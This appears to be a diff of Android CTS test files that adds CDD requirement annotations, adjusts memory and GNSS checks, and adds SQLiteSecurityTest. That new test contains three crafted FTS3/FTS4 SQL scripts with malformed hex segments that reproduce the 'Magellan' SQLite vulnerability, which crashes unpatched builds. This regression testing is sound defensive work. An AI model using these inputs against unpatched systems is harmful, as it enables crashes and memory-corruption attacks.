@@ -83,6 +85,7 @@
      * Test ACTION_VIEW when url is https://web_address,
      * it will open a browser window to the URL specified.
      */
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testViewSecureUrl() {
         Uri uri = Uri.parse(SECURE_URL);
         Intent intent = new Intent(Intent.ACTION_VIEW, uri);
@@ -93,6 +96,7 @@
      * Test ACTION_WEB_SEARCH when url is http://web_address,
      * it will open a browser window to the URL specified.
      */
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testWebSearchNormalUrl() {
         Uri uri = Uri.parse(NORMAL_URL);
         Intent intent = new Intent(Intent.ACTION_WEB_SEARCH);
@@ -104,6 +108,7 @@
      * Test ACTION_WEB_SEARCH when url is https://web_address,
      * it will open a browser window to the URL specified.
      */
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testWebSearchSecureUrl() {
         Uri uri = Uri.parse(SECURE_URL);
         Intent intent = new Intent(Intent.ACTION_WEB_SEARCH);
@@ -161,6 +166,7 @@
     /**
      * Test ACTION_CHANGE_PHONE_ACCOUNTS, it will display the phone account preferences.
      */
+    @CddTest(requirement="3.2.3.5/C-2-3")
     public void testChangePhoneAccounts() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -183,6 +189,7 @@
     /**
      * Test ACTION_SHOW_CALL_SETTINGS, it will display the call preferences.
      */
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testShowCallSettings() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -194,6 +201,7 @@
     /**
      * Test ACTION_SHOW_RESPOND_VIA_SMS_SETTINGS, it will display the respond by SMS preferences.
      */
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testShowRespondViaSmsSettings() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -205,6 +213,7 @@
     /**
      * Test start camera by intent
      */
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testCamera() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA)
@@ -223,6 +232,7 @@
         }
     }
 
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testSettings() {
         assertCanBeHandled(new Intent(Settings.ACTION_SETTINGS));
     }
@@ -230,6 +240,7 @@
     /**
      * Test add event in calendar
      */
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testCalendarAddAppointment() {
         Intent addAppointmentIntent = new Intent(Intent.ACTION_EDIT);
         addAppointmentIntent.setType("vnd.android.cursor.item/event");
@@ -239,6 +250,7 @@
     /**
      * Test view call logs
      */
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testContactsCallLogs() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -251,6 +263,7 @@
     /**
      * Test view music playback
      */
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testMusicPlayback() {
         Intent intent = new Intent(Intent.ACTION_VIEW);
         intent.setDataAndType(ContentUris.withAppendedId(
@@ -258,6 +271,7 @@
         assertCanBeHandled(intent);
     }
 
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testAlarmClockSetAlarm() {
         Intent intent = new Intent(AlarmClock.ACTION_SET_ALARM);
         intent.putExtra(AlarmClock.EXTRA_MESSAGE, "Custom message");
@@ -266,17 +280,20 @@
         assertCanBeHandled(intent);
     }
 
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testAlarmClockSetTimer() {
         Intent intent = new Intent(AlarmClock.ACTION_SET_TIMER);
         intent.putExtra(AlarmClock.EXTRA_LENGTH, 60000);
         assertCanBeHandled(intent);
     }
 
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testAlarmClockShowAlarms() {
         Intent intent = new Intent(AlarmClock.ACTION_SHOW_ALARMS);
         assertCanBeHandled(intent);
     }
 
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testAlarmClockShowTimers() {
         if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
             return;
@@ -332,29 +349,4 @@
         assertCanBeHandled(new Intent(StorageManager.ACTION_MANAGE_STORAGE));
     }
 
-    public void testVoiceCommand() {
-        if (FeatureUtil.isLowRam()) {
-            // Low ram devices do not support voice command, skip this test
-            return;
-        }
-        PackageManager packageManager = mContext.getPackageManager();
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
-            Intent intent = new Intent(Intent.ACTION_VOICE_COMMAND);
-            assertCanBeHandled(intent);
-            assertDefaultHandlerValidPriority(intent);
-        }
-    }
-
-    public void testVoiceSearchHandsFree() {
-        if (FeatureUtil.isLowRam()) {
-            // Low ram devices do not support hands-free hot word, skip this test
-            return;
-        }
-        PackageManager packageManager = mContext.getPackageManager();
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
-            Intent intent = new Intent(RecognizerIntent.ACTION_VOICE_SEARCH_HANDS_FREE);
-            assertCanBeHandled(intent);
-            assertDefaultHandlerValidPriority(intent);
-        }
-    }
 }
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderTest.java b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
index dc4a031..95f4611 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
@@ -29,6 +29,8 @@
 
 import android.content.cts.R;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
@@ -36,6 +38,7 @@
 /**
  * Test {@link ContentProvider}.
  */
+@CddTest(requirement="3.5/C-0-2")
 public class ContentProviderTest extends AndroidTestCase {
     private static final String TEST_PACKAGE_NAME = "android.content.cts";
     private static final String TEST_FILE_NAME = "testFile.tmp";
diff --git a/tests/tests/content/src/android/content/cts/IntentTest.java b/tests/tests/content/src/android/content/cts/IntentTest.java
index dbbbe15..cadb13c 100644
--- a/tests/tests/content/src/android/content/cts/IntentTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentTest.java
@@ -39,6 +39,7 @@
 import android.util.Xml;
 
 import com.android.content.cts.DummyParcelable;
+import com.android.compatibility.common.util.CddTest;
 
 import java.io.IOException;
 import java.io.Serializable;
@@ -47,6 +48,7 @@
 import java.util.Objects;
 import java.util.Set;
 
+@CddTest(requirement="3.5/C-0-1")
 public class IntentTest extends AndroidTestCase {
 
     private Intent mIntent;
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java
new file mode 100644
index 0000000..c34a5f5
--- /dev/null
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.database.sqlite.cts;
+
+
+import android.content.Context;
+import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteDatabaseCorruptException;
+import android.test.AndroidTestCase;
+
+/**
+ * This CTS test verifies Magellan SQLite Security Vulnerability.
+ * Without the fix, the last statement in each test case triggers a segmentation fault and the test
+ * fails.
+ * With the fix, the last statement in each test case triggers SQLiteDatabaseCorruptException with
+ * message "database disk image is malformed (code 267 SQLITE_CORRUPT_VTAB)", this is expected
+ * behavior that we are crashing and we are not leaking data.
+ */
+public class SQLiteSecurityTest extends AndroidTestCase {
+    private static final String DATABASE_NAME = "database_test.db";
+
+    private SQLiteDatabase mDatabase;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        getContext().deleteDatabase(DATABASE_NAME);
+        mDatabase = getContext().openOrCreateDatabase(DATABASE_NAME, Context.MODE_PRIVATE,
+              null);
+        assertNotNull(mDatabase);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mDatabase.close();
+        getContext().deleteDatabase(DATABASE_NAME);
+
+        super.tearDown();
+    }
+
+    public void testScript1() {
+        mDatabase.beginTransaction();
+        mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts3;");
+        mDatabase.execSQL("INSERT INTO ft_content VALUES(1,'aback');");
+        mDatabase.execSQL("INSERT INTO ft_content VALUES(2,'abaft');");
+        mDatabase.execSQL("INSERT INTO ft_content VALUES(3,'abandon');");
+        mDatabase.execSQL("INSERT INTO ft_segdir VALUES(0,0,0,0,'0 29',X"
+            + "'0005616261636b03010200ffffffff070266740302020003046e646f6e03030200');");
+        mDatabase.setTransactionSuccessful();
+        mDatabase.endTransaction();
+        try {
+            mDatabase.execSQL("SELECT * FROM ft WHERE ft MATCH 'abandon';");
+        } catch (SQLiteDatabaseCorruptException e) {
+            return;
+        }
+        fail("Expecting a SQLiteDatabaseCorruptException");
+    }
+
+    public void testScript2() {
+      mDatabase.beginTransaction();
+      mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts3;");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(1,"
+          + "X'0004616263300301020003013103020200040130030b0200040131030c0200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(2,"
+          + "X'00056162633132030d0200040133030e0200040134030f020004013503100200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(3,"
+          + "X'0005616263313603110200040137031202000401380313020004013903140200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(4,"
+          + "X'00046162633203030200030133030402000301340305020003013503060200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(5,"
+          + "X'000461626336030702000301370308020003013803090200030139030a0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir "
+          + "VALUES(0,0,1,5,'5 157',X'0101056162633132ffffffff070236030132030136');");
+      mDatabase.setTransactionSuccessful();
+      mDatabase.endTransaction();
+      try {
+          mDatabase.execSQL("SELECT * FROM ft WHERE ft MATCH 'abc20';");
+      } catch (SQLiteDatabaseCorruptException e) {
+          return;
+      }
+      fail("Expecting a SQLiteDatabaseCorruptException");
+    }
+
+    public void testScript3() {
+      mDatabase.beginTransaction();
+      mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts4;");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES"
+          + "(1,X'00046162633003010200040178030202000501780303020003013103040200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES"
+          + "(2,X'00056162633130031f0200ffffffff07ff5566740302020003046e646f6e03030200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(384,NULL);");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,0,0,0,'0 24',X'000561626331780305020005017803060200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + " (0,1,0,0,'0 24',X'000461626332030702000401780308020005017803090200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,2,0,0,'0 24',X'000461626333030a0200040178030b0200050178030c0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES" +
+          "(0,3,0,0,'0 24',X'000461626334030d0200040178030e0200050178030f0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,4,0,0,'0 24',X'000461626335031002000401780311020005017803120200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,5,0,0,'0 24',X'000461626336031302000401780314020005017803150200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,6,0,0,'0 24',X'000461626337031602000401780317020005017803180200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,7,0,0,'0 24',X'00046162633803190200040178031a0200050178031b0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,8,0,0,'0 24',X'000461626339031c0200040178031d0200050178031e0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,9,0,0,'0 25',X'00066162633130780320020006017803210200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,10,0,0,'0 25',X'00056162633131032202000501780323020006017803240200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES(1,0,1,2,'384 -42',X'0101056162633130');");
+      mDatabase.execSQL("INSERT INTO ft_stat VALUES(1,X'000b');");
+      mDatabase.execSQL("PRAGMA writable_schema=OFF;");
+      mDatabase.setTransactionSuccessful();
+      mDatabase.endTransaction();
+      try {
+          mDatabase.execSQL("INSERT INTO ft(ft) VALUES('merge=1,4');");
+      } catch (SQLiteDatabaseCorruptException e) {
+          return;
+      }
+      fail("Expecting a SQLiteDatabaseCorruptException");
+    }
+}
+
+
+
+
+
+
+
+
+
+
+
diff --git a/tests/tests/dpi/Android.mk b/tests/tests/dpi/Android.mk
index 8bb7d64..98a6504 100644
--- a/tests/tests/dpi/Android.mk
+++ b/tests/tests/dpi/Android.mk
@@ -17,7 +17,7 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
index 3015b07..5085038 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
@@ -27,6 +27,8 @@
 import android.view.ViewConfiguration;
 import android.view.WindowManager;
 
+import com.android.compatibility.common.util.CddTest;
+
 public class ConfigurationScreenLayoutTest
         extends ActivityInstrumentationTestCase2<OrientationActivity> {
 
@@ -41,6 +43,7 @@
         super(OrientationActivity.class);
     }
 
+    @CddTest(requirement="7.1.3/C-0-2,C-1-2,7.1.1.1/C-0-1")
     public void testScreenLayout() throws Exception {
         int expectedScreenLayout = computeScreenLayout();
         int expectedSize = expectedScreenLayout & Configuration.SCREENLAYOUT_SIZE_MASK;
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 78ce89a..0b33f50 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -24,6 +24,8 @@
 import android.view.Display;
 import android.view.WindowManager;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.HashSet;
 import java.util.Set;
 
@@ -32,6 +34,7 @@
  */
 public class ConfigurationTest extends AndroidTestCase {
 
+    @CddTest(requirement="7.1.1.1/H-0-1,W-0-1,7.1.1.3/C-0-1,7.1.2/C-1-1")
     @Presubmit
     public void testScreenConfiguration() {
         WindowManager windowManager =
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index 4067585..29ecb64 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -57,6 +57,9 @@
 import java.io.RandomAccessFile;
 import java.util.concurrent.CountDownLatch;
 
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="5.1.5/C-0-1,C-0-2,C-0-3,C-0-4,C-0-5")
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class BitmapFactoryTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
index 30294d0..9089baa 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
@@ -24,6 +24,8 @@
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -32,6 +34,8 @@
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class Bitmap_CompressFormatTest {
+
+    @CddTest(requirement="5.1.4/C-0-1,C-0-2,C-0-3")
     @Test
     public void testValueOf(){
         assertEquals(CompressFormat.JPEG, CompressFormat.valueOf("JPEG"));
@@ -39,6 +43,7 @@
         assertEquals(CompressFormat.WEBP, CompressFormat.valueOf("WEBP"));
     }
 
+    @CddTest(requirement="5.1.4/C-0-1,C-0-2,C-0-3")
     @Test
     public void testValues(){
         CompressFormat[] comFormat = CompressFormat.values();
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
index 0d70947..f0d5cb8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
@@ -51,6 +51,8 @@
 
 import java.util.Locale;
 
+import com.android.compatibility.common.util.CddTest;
+
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class PaintTest {
@@ -1226,6 +1228,7 @@
         new Paint().getTextPath("HIJKLMN", 3, 9, 0, 0, new Path());
     }
 
+    @CddTest(requirement="3.8.13/C-1-2")
     @Test
     public void testHasGlyph() {
         Paint p = new Paint();
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index 31f83bf..28b9d06 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -90,7 +90,7 @@
 
         mVulkanDevices = getVulkanDevices();
     }
-    @CddTest(requirement="7.1.4.2/C-1-1,C-2-1")
+    @CddTest(requirement="7.1.4.2/C-1-1,C-2-1,C-2-2")
     @Test
     public void testVulkanHardwareFeatures() throws JSONException {
         if (DEBUG) {
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index baffdab..324ad6d 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -39,6 +39,8 @@
 import android.view.WindowManager;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -75,6 +77,7 @@
      * Test the devices reported memory to ensure it meets the minimum values described
      * in CDD 7.6.1.
      */
+    @CddTest(requirement="7.6.1/H-3-1,H-4-1,H-7-1,H-8-1,H-9-1,W-0-2,T-0-2")
     public void testMinimumMemory() {
         int density = mDisplayMetrics.densityDpi;
         Boolean supports64Bit = supportsSixtyFourBit();
@@ -94,9 +97,9 @@
                 lessThanDpi(density, DENSITY_LOW, screenSize, SCREENLAYOUT_SIZE_XLARGE)) {
 
             if (supports64Bit) {
-                assertMinMemoryMb(704);
+                assertMinMemoryMb(816);
             } else {
-                assertMinMemoryMb(424);
+                assertMinMemoryMb(416);
             }
         } else if (greaterThanDpi(density, DENSITY_560, screenSize,
                 SCREENLAYOUT_SIZE_NORMAL, SCREENLAYOUT_SIZE_SMALL) ||
diff --git a/tests/tests/hardware/src/android/hardware/fingerprint/cts/FingerprintManagerTest.java b/tests/tests/hardware/src/android/hardware/fingerprint/cts/FingerprintManagerTest.java
index f11b6bc..bda8c12 100644
--- a/tests/tests/hardware/src/android/hardware/fingerprint/cts/FingerprintManagerTest.java
+++ b/tests/tests/hardware/src/android/hardware/fingerprint/cts/FingerprintManagerTest.java
@@ -24,9 +24,12 @@
 import android.platform.test.annotations.Presubmit;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Basic test cases for FingerprintManager
  */
+@CddTest(requirement="7.3.10/C-1-2")
 public class FingerprintManagerTest extends AndroidTestCase {
     private enum AuthState {
         AUTH_UNKNOWN, AUTH_ERROR, AUTH_FAILED, AUTH_SUCCEEDED
@@ -82,6 +85,7 @@
         assertTrue(!hasEnrolledFingerprints);
     }
 
+    @CddTest(requirement="7.3.10/C-1-2")
     public void test_authenticateNullCallback() {
         if (!mHasFingerprintManager) {
             return; // skip test if no fingerprint feature
@@ -99,6 +103,7 @@
         }
     }
 
+    @CddTest(requirement="7.3.10/C-1-2")
     public void test_authenticate() {
         if (!mHasFingerprintManager) {
             return; // skip test if no fingerprint feature
diff --git a/tests/tests/jni/Android.mk b/tests/tests/jni/Android.mk
index 1f332b9..c7fcf0b 100644
--- a/tests/tests/jni/Android.mk
+++ b/tests/tests/jni/Android.mk
@@ -30,7 +30,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test compatibility-device-util
 
 LOCAL_JNI_SHARED_LIBRARIES := \
   libjninamespacea1 \
diff --git a/tests/tests/jni/src/android/jni/cts/JniCppTest.java b/tests/tests/jni/src/android/jni/cts/JniCppTest.java
index 6993b29..762b29f 100644
--- a/tests/tests/jni/src/android/jni/cts/JniCppTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniCppTest.java
@@ -16,12 +16,15 @@
 
 package android.jni.cts;
 
+import com.android.compatibility.common.util.CddTest;
+
 
 /**
  * Basic tests of calling the C++ functions that make up the JNI. This
  * class merely calls into native code and reports back if there was
  * a problem.
  */
+@CddTest(requirement="3.3.1/C-0-2")
 public class JniCppTest extends JniTestCase {
     static {
         if (!JniTestCase.isCpuAbiNone()) {
diff --git a/tests/tests/jni/src/android/jni/cts/JniInstanceTest.java b/tests/tests/jni/src/android/jni/cts/JniInstanceTest.java
index 7c16a3a..8831a3e 100644
--- a/tests/tests/jni/src/android/jni/cts/JniInstanceTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniInstanceTest.java
@@ -16,12 +16,14 @@
 
 package android.jni.cts;
 
+import com.android.compatibility.common.util.CddTest;
 
 /**
  * Basic native instance method tests. The "nonce" class being tested
  * by this class is a class defined in this package that declares the
  * bulk of its methods as native.
  */
+@CddTest(requirement="3.3.1/C-0-2")
 public class JniInstanceTest extends JniTestCase {
     /** instance to use for all the tests */
     private InstanceNonce target;
diff --git a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
index d2e90c6..2fde363 100644
--- a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
@@ -16,6 +16,8 @@
 
 package android.jni.cts;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.IOException;
 
 /**
@@ -23,6 +25,7 @@
  * class is a class defined in this package that declares the bulk of
  * its methods as native.
  */
+@CddTest(requirement="3.3.1/C-0-2")
 public class JniStaticTest extends JniTestCase {
 
     static {
@@ -35,6 +38,7 @@
      * Test library accessibility. Internal platform libraries should not
      * be accessible from the jni code.
      */
+    @CddTest(requirement="3.3.1/C-0-7,C-0-9,C-0-10")
     public void test_linker_namespaces() throws IOException {
         String error = LinkerNamespacesHelper.runAccessibilityTest();
         if (error != null) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index b09a679..2a39dab 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -30,6 +30,8 @@
 
 import android.keystore.cts.R;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.OutputStream;
@@ -2144,6 +2146,7 @@
         }
     }
 
+    @CddTest(requirement="9.11/C-0-1")
     @LargeTest
     public void testKeyStore_LargeNumberOfKeysSupported_EC() throws Exception {
         // This test imports key1, then lots of other keys, then key2, and then confirms that
@@ -2242,6 +2245,7 @@
         }
     }
 
+    @CddTest(requirement="9.11/C-0-1")
     @LargeTest
     public void testKeyStore_LargeNumberOfKeysSupported_AES() throws Exception {
         // This test imports key1, then lots of other keys, then key2, and then confirms that
@@ -2332,6 +2336,7 @@
         }
     }
 
+    @CddTest(requirement="9.11/C-0-1")
     @LargeTest
     public void testKeyStore_LargeNumberOfKeysSupported_HMAC() throws Exception {
         // This test imports key1, then lots of other keys, then key2, and then confirms that
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
index 3411914..b160ef0 100644
--- a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
@@ -65,6 +65,13 @@
    * only test them if the hardware is later than 2017
    */
   public void testAccuracyFields() throws Exception {
+    // Checks if GPS hardware feature is present, skips test (pass) if not,
+    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+            TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, isCtsVerifierTest())) {
+        return;
+    }
+
     SoftAssert softAssert = new SoftAssert(TAG);
     mTestLocationManager.requestLocationUpdates(mLocationListener);
     boolean success = mLocationListener.await();
@@ -124,6 +131,13 @@
    * check whether all fields' value make sense
    */
   public void testLocationRegularFields() throws Exception {
+    // Checks if GPS hardware feature is present, skips test (pass) if not,
+    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+            TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, isCtsVerifierTest())) {
+        return;
+    }
+
     mTestLocationManager.requestLocationUpdates(mLocationListener);
     boolean success = mLocationListener.await();
     SoftAssert.failOrWarning(isMeasurementTestStrict(),
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
index 41afe53..4b63b1a 100644
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
@@ -371,17 +371,17 @@
                 softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
                                 "= CONSTELLATION_BEIDOU",
                         timeInNs,
-                        "1 <= X <= 36",
+                        "1 <= X <= 63",
                         svidValue,
-                        svid >= 1 && svid <= 36);
+                        svid >= 1 && svid <= 63);
                 break;
             case GnssStatus.CONSTELLATION_GALILEO:
                 softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
                                 "= CONSTELLATION_GALILEO",
                         timeInNs,
-                        "1 <= X <= 37",
+                        "1 <= X <= 36",
                         String.valueOf(svid),
-                        svid >= 1 && svid <= 37);
+                        svid >= 1 && svid <= 36);
                 break;
             default:
                 // Explicit fail if did not receive valid constellation type.
@@ -576,6 +576,15 @@
                             "0 >= X <= 7 days",
                             String.valueOf(sv_time_days),
                             sv_time_days >= 0 && sv_time_days <= 7);
+                } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
+                        == GnssMeasurement.STATE_TOW_KNOWN) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_TOW_KNOWN",
+                                    "GnssStatus.CONSTELLATION_BEIDOU"),
+                            timeInNs,
+                            "0 >= X <= 7 days",
+                            String.valueOf(sv_time_days),
+                            sv_time_days >= 0 && sv_time_days <= 7);
                 } else if ((state & GnssMeasurement.STATE_SUBFRAME_SYNC)
                         == GnssMeasurement.STATE_SUBFRAME_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
@@ -658,6 +667,15 @@
                     "0 >= X <= 7 days",
                     String.valueOf(sv_time_days),
                     sv_time_days >= 0 && sv_time_days <= 7);
+        } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
+                == GnssMeasurement.STATE_TOW_KNOWN) {
+            softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                            "GNSS_MEASUREMENT_STATE_TOW_KNOWN",
+                            constellationType),
+                    timeInNs,
+                    "0 >= X <= 7 days",
+                    String.valueOf(sv_time_days),
+                    sv_time_days >= 0 && sv_time_days <= 7);
         } else if ((state & GnssMeasurement.STATE_SUBFRAME_SYNC)
                 == GnssMeasurement.STATE_SUBFRAME_SYNC) {
             softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
diff --git a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
old mode 100644
new mode 100755
index a6edd37..14fa6cf
--- a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
@@ -15,7 +15,9 @@
  */
 package android.media.cts;
 
